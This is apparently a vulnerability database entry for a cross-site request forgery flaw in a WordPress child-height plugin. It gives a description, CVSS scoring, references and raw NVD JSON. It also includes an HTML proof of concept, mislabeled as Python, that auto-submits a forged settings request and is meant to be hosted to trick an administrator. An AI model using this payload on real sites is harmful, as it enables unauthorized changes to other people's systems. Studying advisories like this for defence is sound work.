CVE-2026-6400

Description

The Child Height Predictor by Ostheimer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.3. This is due to missing nonce verification in the options() function, which handles plugin settings updates. The form template does not include a wp_nonce_field() call, and the handler never calls check_admin_referer() or wp_verify_nonce(). This makes it possible for unauthenticated attackers to trick a site administrator into clicking a link or visiting a malicious page that submits a forged POST request, causing unauthorized changes to the plugin settings such as unit preferences to be persisted to the database via update_option().

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Child Height Predictor by Ostheimer <= 1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6400: CSRF to change plugin settings
Usage: Host this file on a server and trick the admin to visit it.
-->
<html>
<body>
  <h1>CVE-2026-6400 PoC</h1>
  <p>Clicking the button below submits a forged request to update plugin settings.</p>
  <!-- Replace 'site_url' with the target WordPress site URL -->
  <form action="http://site_url/wp-admin/options-general.php?page=child-height-predictor" method="POST">
    <input type="hidden" name="option_name" value="malicious_value" />
    <input type="hidden" name="action" value="update" />
    <input type="submit" value="Click Me!" />
  </form>
  
  <!-- Or auto-submit using JavaScript -->
  <script>
    document.addEventListener('DOMContentLoaded', function() {
      document.forms[0].submit();
    });
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6400
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6400
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6400/
[4] VulDB https://vuldb.com/cve/CVE-2026-6400
[5] https://plugins.trac.wordpress.org/browser/child-height-predictor/tags/1.3/childheight.php#L135
[6] https://plugins.trac.wordpress.org/browser/child-height-predictor/tags/1.3/childheight.php#L149
[7] https://plugins.trac.wordpress.org/browser/child-height-predictor/trunk/childheight.php#L135
[8] https://plugins.trac.wordpress.org/browser/child-height-predictor/trunk/childheight.php#L149
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/dc1681a8-5f2e-45f1-96d9-797b13644607?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6400", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.067", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Child Height Predictor by Ostheimer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.3. This is due to missing nonce verification in the options() function, which handles plugin settings updates. The form template does not include a wp_nonce_field() call, and the handler never calls check_admin_referer() or wp_verify_nonce(). This makes it possible for unauthenticated attackers to trick a site administrator into clicking a link or visiting a malicious page that submits a forged POST request, causing unauthorized changes to the plugin settings such as unit preferences to be persisted to the database via update_option()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/child-height-predictor/tags/1.3/childheight.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/child-height-predictor/tags/1.3/childheight.php#L149", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/child-height-predictor/trunk/childheight.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/child-height-predictor/trunk/childheight.php#L149", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dc1681a8-5f2e-45f1-96d9-797b13644607?source=cve", "source": "[email protected]"}]}}